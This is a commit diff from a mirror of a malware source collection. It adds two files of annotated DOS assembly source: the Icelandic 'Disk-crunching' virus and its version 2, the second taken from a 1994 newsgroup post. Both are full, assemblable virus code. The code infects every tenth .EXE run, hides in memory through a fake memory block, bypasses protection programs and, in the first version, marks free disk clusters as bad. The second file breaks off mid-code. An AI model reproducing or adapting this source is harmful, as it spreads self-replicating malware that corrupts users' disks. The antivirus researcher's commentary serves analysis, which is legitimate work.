mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,558 @@
|
||||
; THE ICELANDIC "DISK-CRUNCHING" VIRUS
|
||||
;
|
||||
; Another possible name for this virus might be "One-in-ten", since
|
||||
; it tries to infect every tenth program run. The Icelandic name for
|
||||
; this virus ("Diskaetuvirus") translates to "Disk-eating virus"
|
||||
;
|
||||
; It was first located at one site in mid-June '89. It has since then
|
||||
; been found at a few other places, but is quite rare yet. So far it
|
||||
; does not seem to have spread to any other country.
|
||||
;
|
||||
; Disassembly done in June/July '89.
|
||||
;
|
||||
; The author of this program is unknown, but it appears to be of
|
||||
; Icelandic origin.
|
||||
;
|
||||
; All comments in this file were added by Fridrik Skulason,
|
||||
; University of Iceland/Computing Services.
|
||||
;
|
||||
; INTERNET: frisk@rhi.hi.is
|
||||
; UUCP: ...mcvax!hafro!rhi!frisk
|
||||
; BIX: FRISK
|
||||
;
|
||||
; To anyone who obtains this file - please be careful with it, I
|
||||
; would not like to see this virus be distributed too much. The code
|
||||
; is very clear, and the virus is quite well written. It would be VERY
|
||||
; easy to modify it to do something really harmful.
|
||||
;
|
||||
; A short description of the virus:
|
||||
;
|
||||
; It only infects .EXE files. Infected files grow by 656 to 671
|
||||
; bytes, and the length of the infected file MOD 16 will always be 0.
|
||||
; The virus attaches itself to the end of the programs it infects.
|
||||
;
|
||||
; When an infected file is run, the virus copies itself to top of
|
||||
; free memory, and modifies the memory blocks, in order to hide from
|
||||
; memory mapping programs. Some programs may overwrite this area,
|
||||
; causing the computer to crash.
|
||||
;
|
||||
; The virus does nothing if some other program has hooked INT 13
|
||||
; before it is run. This is probably done to avoid detection by
|
||||
; protection programs, but it also means that many ordinary
|
||||
; programs like SideKick and disk cache software will disable it.
|
||||
; Even the PRINT command will disable the virus. This reduces the
|
||||
; spread of the virus, but also greatly reduces the possibility that
|
||||
; the virus will be detected.
|
||||
;
|
||||
; The virus will hook INT 21H and when function 4B (EXEC) is called
|
||||
; it sometimes will infect the program being run. It will check every
|
||||
; tenth program that is run for infection, and if it is not already
|
||||
; infected, it will be.
|
||||
;
|
||||
; The virus will remove the Read-Only attribute before trying to
|
||||
; infect programs.
|
||||
;
|
||||
; Infected files can be easily recognized, since they always end in
|
||||
; 4418,5F19.
|
||||
;
|
||||
; To check for system infection, a byte at 0:37F is used - if it
|
||||
; contains FF the virus is installed in memory.
|
||||
;
|
||||
; This virus is slightly harmful, but does no serious damage.
|
||||
; On floppy-only, or machines with 10Mbyte hard disks it will do
|
||||
; no damage at all, but on machines with larger hard disks it will
|
||||
; select one unused entry in the FAT table, and mark it as bad, when it
|
||||
; infects a file. Since the virus only modifies the first copy of the
|
||||
; FAT, a quick fix is simply to copy the second table over the first.
|
||||
; This is the only "mistake" I have found in this virus. It appears
|
||||
; to be very well written - What a shame the programmer did not use
|
||||
; his abilities for something more constructive.
|
||||
;
|
||||
; This file was created in the following way: I wrote a small program,
|
||||
; that did nothing but write "Hello world!" and ran it several times,
|
||||
; until it became infected. I then diassembled the program, changed
|
||||
; it into an .ASM file, and worked on it until this file, when
|
||||
; assembled, produced the same file as the original infected one.
|
||||
;
|
||||
; (Or almost the same - the checksum in the header is different).
|
||||
;
|
||||
VIRSIZ EQU 128
|
||||
|
||||
ASSUME CS:_TEXT,DS:_TEXT,SS:NOTHING,ES:NOTHING
|
||||
;
|
||||
; This is the original program.
|
||||
;
|
||||
_TEXT1 SEGMENT PARA PUBLIC 'CODE'
|
||||
_START DB 0b4H,09H
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV DX,OFFSET STRING
|
||||
INT 21H
|
||||
MOV AX,4C00H
|
||||
INT 21H
|
||||
STRING DB "Hello world!",0dh,0ah,"$"
|
||||
_TEXT1 ENDS
|
||||
|
||||
_TEXT SEGMENT PARA PUBLIC 'CODE'
|
||||
|
||||
;
|
||||
; The virus is basically divided in three parts.
|
||||
;
|
||||
; 1. The main program - run when an infected program is run.
|
||||
; It will check if the system is already infected, and if not
|
||||
; it will install the virus.
|
||||
;
|
||||
; 2. The new INT 21 handler. It will look for EXEC calls, and
|
||||
; (sometimes) infect the program being run.
|
||||
;
|
||||
; 3. The damage routine. It will select one unused cluster and mark it
|
||||
; as bad.
|
||||
;
|
||||
VIRUS PROC FAR
|
||||
;
|
||||
; This is a fake MCB
|
||||
;
|
||||
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
|
||||
;
|
||||
; The virus starts by pushing the original start address on the stack,
|
||||
; so it can transfer control there when finished.
|
||||
;
|
||||
LABEL1: SUB SP,4
|
||||
PUSH BP
|
||||
MOV BP,SP
|
||||
PUSH AX
|
||||
MOV AX,ES
|
||||
;
|
||||
; Put the the original CS on the stack. The ADD AX,data instruction
|
||||
; is modified by the virus when it infects other programs.
|
||||
;
|
||||
DB 05H
|
||||
ORG_CS DW 0010H
|
||||
MOV [BP+4],AX
|
||||
;
|
||||
; Put the the original IP on the stack. This MOV [BP+2],data instruction
|
||||
; is modified by the virus when it infects other programs.
|
||||
;
|
||||
DB 0C7H,46H,02H
|
||||
ORG_IP DW 0000H
|
||||
;
|
||||
; Save all registers that are modified.
|
||||
;
|
||||
PUSH ES
|
||||
PUSH DS
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
;
|
||||
; Check if already installed. Quit if so.
|
||||
;
|
||||
XOR AX,AX
|
||||
MOV ES,AX
|
||||
CMP ES:[37FH],BYTE PTR 0FFH
|
||||
JNE L1
|
||||
;
|
||||
; Restore all registers and return to the original program.
|
||||
;
|
||||
EXIT: POP DI
|
||||
POP SI
|
||||
POP CX
|
||||
POP BX
|
||||
POP DS
|
||||
POP ES
|
||||
POP AX
|
||||
POP BP
|
||||
RET
|
||||
;
|
||||
; Check if INT 13 is 0070:xxxx or F000:xxxx. If not, assume some
|
||||
; program is monitoring int 13, and quit.
|
||||
;
|
||||
L1: MOV AX,ES:[4EH]
|
||||
CMP AX,0070H
|
||||
JE L2
|
||||
CMP AX,0F000H
|
||||
JNE EXIT
|
||||
;
|
||||
; Set the installation flag, so infected programs run later will
|
||||
; recognize the infection.
|
||||
;
|
||||
L2: MOV ES:[37FH],BYTE PTR 0FFH
|
||||
;
|
||||
; The virus tries to hide from detection by modifying the memory block it
|
||||
; uses, so it seems to be a block that belongs to the operating system.
|
||||
;
|
||||
; It looks rather weird, but it seems to work.
|
||||
;
|
||||
MOV AH,52H
|
||||
INT 21H
|
||||
MOV AX,ES:[BX-2]
|
||||
MOV ES,AX
|
||||
ADD AX,ES:[0003]
|
||||
INC AX
|
||||
INC AX
|
||||
MOV CS:[0001],AX
|
||||
;
|
||||
; Next, the virus modifies the memory block of the infected program.
|
||||
; It is made smaller, and no longer the last block.
|
||||
;
|
||||
MOV BX,DS
|
||||
DEC BX
|
||||
MOV DS,BX
|
||||
MOV AL,'M'
|
||||
MOV DS:[0000],AL
|
||||
MOV AX,DS:[0003]
|
||||
SUB AX,VIRSIZ
|
||||
MOV DS:[0003],AX
|
||||
ADD BX,AX
|
||||
INC BX
|
||||
;
|
||||
; Then the virus moves itself to the new block. For some reason 2000
|
||||
; bytes are transferred, when 656 would be enough. Maybe the author just
|
||||
; wanted to leave room for future expansions.
|
||||
;
|
||||
MOV ES,BX
|
||||
XOR SI,SI
|
||||
XOR DI,DI
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV CX,2000
|
||||
CLD
|
||||
REP MOVSB
|
||||
;
|
||||
; The virus then transfers control to the new copy of itself.
|
||||
;
|
||||
PUSH ES
|
||||
MOV AX,OFFSET L3
|
||||
PUSH AX
|
||||
RET
|
||||
;
|
||||
; The main program modifies INT 21 next and finally returns to the
|
||||
; original program. The original INT 21 vector is stored inside the
|
||||
; program so a JMP [OLD INT21] instruction can be used.
|
||||
;
|
||||
L3: XOR AX,AX
|
||||
MOV ES,AX
|
||||
MOV AX,ES:[0084H]
|
||||
MOV CS:[OLD21],AX
|
||||
MOV AX,ES:[0086H]
|
||||
MOV CS:[OLD21+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0086H],AX
|
||||
MOV AX,OFFSET NEW21
|
||||
MOV ES:[0084H],AX
|
||||
JMP EXIT
|
||||
VIRUS ENDP
|
||||
;
|
||||
; This is the INT 21 replacement. It only does something in the case
|
||||
; of an EXEC call.
|
||||
;
|
||||
NEW21 PROC FAR
|
||||
CMP AH,4BH
|
||||
JE L5
|
||||
L4: DB 0EAH
|
||||
OLD21 DW 0,0
|
||||
;
|
||||
; Only attack every tenth program run.
|
||||
;
|
||||
L5: DEC CS:[COUNTER]
|
||||
JNE L4
|
||||
MOV CS:[COUNTER],10
|
||||
;
|
||||
; Save all affected registers.
|
||||
;
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DS
|
||||
;
|
||||
; Search for the file name extension ...
|
||||
;
|
||||
MOV BX,DX
|
||||
L6: INC BX
|
||||
CMP BYTE PTR [BX],'.'
|
||||
JE L8
|
||||
CMP BYTE PTR [BX],0
|
||||
JNE L6
|
||||
;
|
||||
; ... and quit unless it starts with "EX".
|
||||
;
|
||||
L7: POP DS
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
JMP L4
|
||||
L8: INC BX
|
||||
CMP WORD PTR [BX],5845H
|
||||
JNE L7
|
||||
;
|
||||
; When an .EXE file is found, the virus starts by turning off
|
||||
; the read-only attribute. The read-only attribute is not restored
|
||||
; when the file has been infected.
|
||||
;
|
||||
MOV AX,4300H ; Get attribute
|
||||
INT 21H
|
||||
JC L7
|
||||
MOV AX,4301H ; Set attribute
|
||||
AND CX,0FEH
|
||||
INT 21H
|
||||
JC L7
|
||||
;
|
||||
; Next, the file is examined to see if it is already infected.
|
||||
; The signature (4418 5F19) is stored in the last two words.
|
||||
;
|
||||
MOV AX,3D02H ; Open / write access
|
||||
INT 21H
|
||||
JC L7
|
||||
MOV BX,AX ; file handle in BX
|
||||
PUSH CS ; now DS is no longer needed
|
||||
POP DS
|
||||
;
|
||||
; The header of the file is read in at [ID+8]. The virus then
|
||||
; modifies itself, according to the information stored in the
|
||||
; header. (The original CS and IP addressed are stored).
|
||||
;
|
||||
MOV DX,OFFSET ID+8
|
||||
MOV CX,1CH
|
||||
MOV AH,3FH
|
||||
INT 21H
|
||||
JC L9
|
||||
MOV AX,DS:ID[1CH]
|
||||
MOV DS:[ORG_IP],AX
|
||||
MOV AX,DS:ID[1EH]
|
||||
ADD AX,10H
|
||||
MOV DS:[ORG_CS],AX
|
||||
;
|
||||
; Next the read/write pointer is moved to the end of the file-4,
|
||||
; and the last 4 bytes read. They are compared to the signature,
|
||||
; and if equal nothing happens.
|
||||
;
|
||||
MOV AX,4202H
|
||||
MOV CX,-1
|
||||
MOV DX,-4
|
||||
INT 21H
|
||||
JC L9
|
||||
ADD AX,4
|
||||
MOV DS:[LEN_LO],AX
|
||||
JNC L8A
|
||||
INC DX
|
||||
L8A: MOV DS:[LEN_HI],DX
|
||||
|
||||
MOV AH,3FH
|
||||
MOV CX,4
|
||||
MOV DX,OFFSET ID+4
|
||||
INT 21H
|
||||
JNC L11
|
||||
L9: MOV AH,3EH
|
||||
INT 21H
|
||||
L10: JMP L7
|
||||
;
|
||||
; Compare to 4418,5F19
|
||||
;
|
||||
L11: MOV SI,OFFSET ID+4
|
||||
MOV AX,[SI]
|
||||
CMP AX,4418H
|
||||
JNE L12
|
||||
MOV AX,[SI+2]
|
||||
CMP AX,5F19H
|
||||
JE L9
|
||||
;
|
||||
; The file is not infected, so the next thing the virus does is
|
||||
; infecting it. First it is padded so the length becomes a multiple
|
||||
; of 16 bytes. Tis is probably done so the virus code can start at a
|
||||
; paragraph boundary.
|
||||
;
|
||||
L12: MOV AX,DS:[LEN_LO]
|
||||
AND AX,0FH
|
||||
JZ L13
|
||||
MOV CX,16
|
||||
SUB CX,AX
|
||||
ADD DS:[LEN_LO],CX
|
||||
JNC L12A
|
||||
INC DS:[LEN_HI]
|
||||
L12A: MOV AH,40H
|
||||
INT 21H
|
||||
JC L9
|
||||
;
|
||||
; Next the main body of the virus is written to the end.
|
||||
;
|
||||
L13: XOR DX,DX
|
||||
MOV CX,OFFSET ID + 4
|
||||
MOV AH,40H
|
||||
INT 21H
|
||||
JC L9
|
||||
;
|
||||
; Next the .EXE file header is modified:
|
||||
;
|
||||
; First modify initial IP
|
||||
;
|
||||
MOV AX,OFFSET LABEL1
|
||||
MOV DS:ID[1CH],AX
|
||||
;
|
||||
; Modify starting CS = Virus CS. It is computed as:
|
||||
;
|
||||
; (Original length of file+padding)/16 - Start of load module
|
||||
;
|
||||
MOV DX,DS:[LEN_HI]
|
||||
MOV AX,DS:[LEN_LO]
|
||||
SHR DX,1
|
||||
RCR AX,1
|
||||
SHR DX,1
|
||||
RCR AX,1
|
||||
SHR DX,1
|
||||
RCR AX,1
|
||||
SHR DX,1
|
||||
RCR AX,1
|
||||
SUB AX,DS:ID[10H]
|
||||
MOV DS:ID[1EH],AX
|
||||
;
|
||||
; Modify length mod 512
|
||||
;
|
||||
ADD DS:[LEN_LO],OFFSET ID+4
|
||||
JNC L14
|
||||
INC DS:[LEN_HI]
|
||||
L14: MOV AX,DS:[LEN_LO]
|
||||
AND AX,511
|
||||
MOV DS:ID[0AH],AX
|
||||
;
|
||||
; Modify number of blocks used
|
||||
;
|
||||
MOV DX,DS:[LEN_HI]
|
||||
MOV AX,DS:[LEN_LO]
|
||||
ADD AX,511
|
||||
JNC L14A
|
||||
INC DX
|
||||
L14A: MOV AL,AH
|
||||
MOV AH,DL
|
||||
SHR AX,1
|
||||
MOV DS:ID[0CH],AX
|
||||
;
|
||||
; Finally the modified header is written back to the start of the
|
||||
; file.
|
||||
;
|
||||
QQQ: MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
JC ENDIT
|
||||
MOV AH,40H
|
||||
MOV DX,OFFSET ID+8
|
||||
MOV CX,1CH
|
||||
INT 21H
|
||||
JC ENDIT
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
JNC DAMAGE
|
||||
;
|
||||
; Infection is finished - close the file and execute it
|
||||
;
|
||||
ENDIT: JMP L9
|
||||
NEW21 ENDP
|
||||
;
|
||||
; The damage routine. As before noted, it will only do damage on
|
||||
; systems with a hard disk larger than 10Mbytes (With 16 bit FAT)
|
||||
;
|
||||
TEMP DW 0
|
||||
;
|
||||
; Start by getting some information about the current drive, like size
|
||||
; of the FAT etc. Then compute the total number of sectors, and quit
|
||||
; unless it is greater than 20740. This is probably done since larger
|
||||
; disks use 16 bit FAT entries, instead of 12, which makes life easier
|
||||
; for the programmer.
|
||||
;
|
||||
DAMAGE: MOV AH,32H
|
||||
MOV DL,0
|
||||
INT 21H
|
||||
CMP AL,0FFH
|
||||
JE L21
|
||||
XOR AX,AX
|
||||
MOV AL,[BX+4]
|
||||
INC AX
|
||||
MOV CS:[TEMP],AX
|
||||
MOV AX,[BX+0DH]
|
||||
DEC AX
|
||||
MUL CS:[TEMP]
|
||||
ADD AX,[BX+0BH]
|
||||
JNC L15A
|
||||
INC DX
|
||||
L15A: CMP DX,0
|
||||
JNE L15B
|
||||
CMP AX,20740
|
||||
JBE L21
|
||||
;
|
||||
; Check if DOS version is 4.0 or greater. If so, use a 16 bit value
|
||||
; for numbers of sectors in the FAT, otherwise use a 8 bit entry.
|
||||
;
|
||||
L15B: PUSH BX
|
||||
MOV AH,30H
|
||||
INT 21H
|
||||
POP BX
|
||||
CMP AL,4
|
||||
JAE L15
|
||||
XOR AX,AX
|
||||
MOV AL,[BX+0FH]
|
||||
JMP SHORT L16
|
||||
L15: MOV AX,[BX+0FH]
|
||||
L16: ADD AX,[BX+6]
|
||||
DEC AX
|
||||
MOV DX,AX
|
||||
MOV AL,[BX]
|
||||
;
|
||||
; Read the last sector in the first copy of the FAT. Search backwards
|
||||
; for an unused entry. If none is found, read the sector before that
|
||||
; and so on. If no free entry is found on the entire disk then quit.
|
||||
;
|
||||
L20: MOV CX,1
|
||||
MOV BX,OFFSET ID+4
|
||||
PUSH CS
|
||||
POP DS
|
||||
PUSH AX
|
||||
PUSH DX
|
||||
INT 25H
|
||||
POPF
|
||||
JC L21
|
||||
POP DX
|
||||
POP AX
|
||||
MOV SI,510
|
||||
L17: MOV BX,DS:[ID+4+SI]
|
||||
CMP BX,0000
|
||||
JE L19
|
||||
CMP SI,0000
|
||||
JE L18
|
||||
DEC SI
|
||||
DEC SI
|
||||
JMP L17
|
||||
L18: DEC DX
|
||||
CMP DX,8
|
||||
JE L21
|
||||
JMP L20
|
||||
;
|
||||
; A free entry has been found. Make it look like a bad cluster, by
|
||||
; changing the 0000 value to FFF7.
|
||||
;
|
||||
L19: MOV DS:[ID+4+SI],0FFF7H
|
||||
MOV CX,1
|
||||
MOV BX,OFFSET ID+4
|
||||
INT 26H
|
||||
POPF
|
||||
L21: JMP L7
|
||||
|
||||
COUNTER DB 10
|
||||
LEN_LO DW ?
|
||||
LEN_HI DW ?
|
||||
ID DW 4418H,5F19H ; The signature of the virus.
|
||||
;
|
||||
; A buffer, used for data from the file.
|
||||
;
|
||||
_TEXT ENDS
|
||||
|
||||
END LABEL1
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
@@ -0,0 +1,507 @@
|
||||
From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:54:55 1994
|
||||
Xref: netcom.com alt.comp.virus:489
|
||||
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair
|
||||
From: clair@myhost.subdomain.domain (The Clairvoyant)
|
||||
Newsgroups: alt.comp.virus
|
||||
Subject: Ice2 Disassembly by f-prot author
|
||||
Date: 28 Nov 1994 08:16:26 GMT
|
||||
Organization: String to put in the Organization Header
|
||||
Lines: 493
|
||||
Message-ID: <3bc3kq$mjc@gaia.ucs.orst.edu>
|
||||
NNTP-Posting-Host: tempest.rhn.orst.edu
|
||||
X-Newsreader: TIN [version 1.2 PL2]
|
||||
|
||||
|
||||
|
||||
; THE ICELANDIC VIRUS - VERSION 2
|
||||
;
|
||||
; Disassembly done in July '89.
|
||||
;
|
||||
; The author(s) of this program is(are) unknown, but it is of
|
||||
; Icelandic origin.
|
||||
;
|
||||
; All comments in this file were added by Fridrik Skulason,
|
||||
; University of Iceland/Computing Services.
|
||||
;
|
||||
; INTERNET: frisk@rhi.hi.is
|
||||
; UUCP: ...mcvax!hafro!rhi!frisk
|
||||
; BIX: FRISK
|
||||
;
|
||||
; To anyone who obtains this file - please be careful with it, I
|
||||
; would not like to see this virus be distributed too much. The code
|
||||
; is very clear, and the virus is quite well written. It would be VERY
|
||||
; easy to modify it to do something really harmful.
|
||||
;
|
||||
; The virus has the following flaws:
|
||||
;
|
||||
; It modifies the date of the program it infects, making
|
||||
; it easy to spot them.
|
||||
;
|
||||
; It removes the Read-only attribute from files, but does
|
||||
; not restore it.
|
||||
;
|
||||
; This version appears to do no damage at all. This, and the fact that
|
||||
; the author(s) sent me a copy probably indicates that it was just
|
||||
; designed to demonstrate that a virus like this could be written.
|
||||
;
|
||||
; This file was created in the following way:
|
||||
;
|
||||
; I disassembled the new version and compared it to my disassembly
|
||||
; of version #1.
|
||||
;
|
||||
; Any changes found were added to this file.
|
||||
;
|
||||
VIRSIZ EQU 128
|
||||
|
||||
ASSUME CS:_TEXT,DS:NOTHING,SS:NOTHING,ES:NOTHING
|
||||
;
|
||||
; This is a dummy "infected" program, so that this file,
|
||||
; when assembled (using MASM) will produce a "true" infected
|
||||
; program.
|
||||
;
|
||||
_TEXT1 SEGMENT PARA PUBLIC 'CODE'
|
||||
_START DB 0b4H,09H
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV DX,OFFSET STRING
|
||||
INT 21H
|
||||
MOV AX,4C00H
|
||||
INT 21H
|
||||
STRING DB "Hello world!",0dh,0ah,"$"
|
||||
_TEXT1 ENDS
|
||||
|
||||
_TEXT SEGMENT PARA PUBLIC 'CODE'
|
||||
|
||||
;
|
||||
; The virus is basically divided in two parts.
|
||||
;
|
||||
; 1. The main program - run when an infected program is run.
|
||||
; It will check if the system is already infected, and if not
|
||||
; it will install the virus.
|
||||
;
|
||||
; 2. The new INT 21 handler. It will look for EXEC calls, and
|
||||
; (sometimes) infect the program being run.
|
||||
;
|
||||
VIRUS PROC FAR
|
||||
;
|
||||
; This is a fake MCB
|
||||
;
|
||||
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
|
||||
;
|
||||
; The virus starts by pushing the original start address on the stack,
|
||||
; so it can transfer control there when finished.
|
||||
;
|
||||
LABEL1: SUB SP,4
|
||||
PUSH BP
|
||||
MOV BP,SP
|
||||
PUSH AX
|
||||
MOV AX,ES
|
||||
;
|
||||
; Put the the original CS on the stack. The ADD AX,data instruction
|
||||
; is modified by the virus when it infects other programs.
|
||||
;
|
||||
DB 05H
|
||||
ORG_CS DW 0010H
|
||||
MOV [BP+4],AX
|
||||
;
|
||||
; Put the the original IP on the stack. This MOV [BP+2],data instruction
|
||||
; is modified by the virus when it infects other programs.
|
||||
;
|
||||
DB 0C7H,46H,02H
|
||||
ORG_IP DW 0000H
|
||||
;
|
||||
; Save all registers that are modified.
|
||||
;
|
||||
PUSH ES
|
||||
PUSH DS
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
;
|
||||
; Check if already installed. Quit if so.
|
||||
;
|
||||
XOR AX,AX
|
||||
MOV ES,AX
|
||||
CMP ES:[37FH],BYTE PTR 0FFH
|
||||
JNE L1
|
||||
;
|
||||
; Restore all registers and return to the original program.
|
||||
;
|
||||
EXIT: POP DI
|
||||
POP SI
|
||||
POP CX
|
||||
POP BX
|
||||
POP DS
|
||||
POP ES
|
||||
POP AX
|
||||
POP BP
|
||||
RET
|
||||
;
|
||||
; The code to check if INT 13 contains something other than
|
||||
; 0070 or F000 has been removed.
|
||||
;
|
||||
; Set the installation flag, so infected programs run later will
|
||||
; recognize the infection.
|
||||
;
|
||||
L1: MOV ES:[37FH],BYTE PTR 0FFH
|
||||
;
|
||||
; The virus tries to hide from detection by modifying the memory block it
|
||||
; uses, so it seems to be a block that belongs to the operating system.
|
||||
;
|
||||
; It looks rather weird, but it seems to work.
|
||||
;
|
||||
MOV AH,52H
|
||||
INT 21H
|
||||
;
|
||||
; The next line is new - the virus obtains the segment of the
|
||||
; IBMDOS.COM/MSDOS.SYS program.
|
||||
;
|
||||
MOV CS:[DOSSEG],ES
|
||||
;
|
||||
; Back to modification
|
||||
;
|
||||
MOV AX,ES:[BX-2]
|
||||
MOV ES,AX
|
||||
ADD AX,ES:[0003]
|
||||
INC AX
|
||||
INC AX
|
||||
MOV CS:[0001],AX
|
||||
;
|
||||
; Next, the virus modifies the memory block of the infected program.
|
||||
; It is made smaller, and no longer the last block.
|
||||
;
|
||||
MOV BX,DS
|
||||
DEC BX
|
||||
MOV DS,BX
|
||||
MOV AL,'M'
|
||||
MOV DS:[0000],AL
|
||||
MOV AX,DS:[0003]
|
||||
SUB AX,VIRSIZ
|
||||
MOV DS:[0003],AX
|
||||
ADD BX,AX
|
||||
INC BX
|
||||
;
|
||||
; Then the virus moves itself to the new block. For some reason 2000
|
||||
; bytes are transferred, when much less would be enough. Maybe the author just
|
||||
; wanted to leave room for future expansions.
|
||||
;
|
||||
MOV ES,BX
|
||||
XOR SI,SI
|
||||
XOR DI,DI
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV CX,2000
|
||||
CLD
|
||||
REP MOVSB
|
||||
;
|
||||
; The virus then transfers control to the new copy of itself.
|
||||
;
|
||||
PUSH ES
|
||||
MOV AX,OFFSET L2
|
||||
PUSH AX
|
||||
RET
|
||||
;
|
||||
; This part of the program is new. It tries to bypass protection
|
||||
; programs, by obtaining the original INT 21 address. It searches
|
||||
; for the byte sequence 2E 3A 26, which (in DOS 3.1 and 3.3) is the
|
||||
; beginning of the original interrupt (probably also in 3.2 - I do
|
||||
; not have a copy of that)
|
||||
;
|
||||
L2: MOV DS,CS:[DOSSEG]
|
||||
MOV CX,3000H
|
||||
MOV SI,0
|
||||
MOV AX,3A2EH
|
||||
L3: CMP AX,[SI]
|
||||
JE L3A
|
||||
L3C: INC SI
|
||||
LOOP L3
|
||||
;
|
||||
; If that fails, it searches for 80 FC 63 (used in 3.0)
|
||||
; 80 FC 4B (used in 2.0)
|
||||
; 80 FC F8 (This looks very odd -
|
||||
; I have no idea what DOS version this might be.)
|
||||
;
|
||||
MOV CX,3000H
|
||||
MOV SI,0
|
||||
MOV AX,0FC80H
|
||||
L3D: CMP AX,[SI]
|
||||
JE L3F
|
||||
L3E: INC SI
|
||||
LOOP L3D
|
||||
;
|
||||
; Start of DOS not found - Give up (but remain in memory)
|
||||
;
|
||||
JMP EXIT
|
||||
|
||||
L3A: CMP BYTE PTR[SI+2],26H
|
||||
JE L3B
|
||||
JMP L3C
|
||||
L3F: CMP BYTE PTR[SI+2],63H
|
||||
JE L3B
|
||||
CMP BYTE PTR[SI+2],4BH
|
||||
JE L3B
|
||||
CMP BYTE PTR[SI+2],0F8H
|
||||
JE L3B
|
||||
JMP L3E
|
||||
L3B: MOV CS:[DOSPC],SI
|
||||
;
|
||||
; The main program modifies INT 21 next and finally returns to the
|
||||
; original program. The original INT 21 vector is stored inside the
|
||||
; program so a JMP [OLD INT21] instruction can be used.
|
||||
;
|
||||
XOR AX,AX
|
||||
MOV ES,AX
|
||||
MOV AX,ES:[0084H]
|
||||
MOV CS:[OLD21],AX
|
||||
MOV AX,ES:[0086H]
|
||||
MOV CS:[OLD21+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0086H],AX
|
||||
MOV AX,OFFSET NEW21
|
||||
MOV ES:[0084H],AX
|
||||
JMP EXIT
|
||||
VIRUS ENDP
|
||||
;
|
||||
; This is the INT 21 replacement. It only does something in the case
|
||||
; of an EXEC call.
|
||||
;
|
||||
NEW21 PROC FAR
|
||||
CMP AH,4BH
|
||||
JE L5
|
||||
L4: DB 0EAH
|
||||
OLD21 DW 0,0
|
||||
;
|
||||
; Only attack every tenth program run.
|
||||
;
|
||||
L5: DEC CS:[COUNTER]
|
||||
JNE L4
|
||||
MOV CS:[COUNTER],10
|
||||
;
|
||||
; Save all affected registers.
|
||||
;
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DS
|
||||
;
|
||||
; Search for the file name extension ...
|
||||
;
|
||||
MOV BX,DX
|
||||
L6: INC BX
|
||||
CMP BYTE PTR [BX],'.'
|
||||
JE L8
|
||||
CMP BYTE PTR [BX],0
|
||||
JNE L6
|
||||
;
|
||||
; ... and quit unless it starts with "EX".
|
||||
;
|
||||
L7: POP DS
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
JMP L4
|
||||
L8: INC BX
|
||||
CMP WORD PTR [BX],5845H
|
||||
JNE L7
|
||||
;
|
||||
; When an .EXE file is found, the virus starts by turning off
|
||||
; the read-only attribute. The read-only attribute is not restored
|
||||
; when the file has been infected.
|
||||
;
|
||||
; Here, as elsewhere, the INT 21 instructions have been replaced
|
||||
; by PUSHF/CALL DWORD PTR CS:[DOSPC]
|
||||
;
|
||||
MOV AX,4300H ; Get attribute
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[DOSPC]
|
||||
JC L7
|
||||
MOV AX,4301H ; Set attribute
|
||||
AND CX,0FEH
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[DOSPC]
|
||||
JC L7
|
||||
;
|
||||
; Next, the file is examined to see if it is already infected.
|
||||
; The signature (4418 5F19) is stored in the last two words.
|
||||
;
|
||||
MOV AX,3D02H ; Open / write access
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[DOSPC]
|
||||
JC L7
|
||||
MOV BX,AX ; file handle in BX
|
||||
PUSH CS ; now DS is no longer needed
|
||||
POP DS
|
||||
;
|
||||
; The header of the file is read in at [ID+8]. The virus then
|
||||
; modifies itself, according to the information stored in the
|
||||
; header. (The original CS and IP addressed are stored).
|
||||
;
|
||||
MOV DX,OFFSET ID+8
|
||||
MOV CX,1CH
|
||||
MOV AH,3FH
|
||||
PUSHF
|
||||
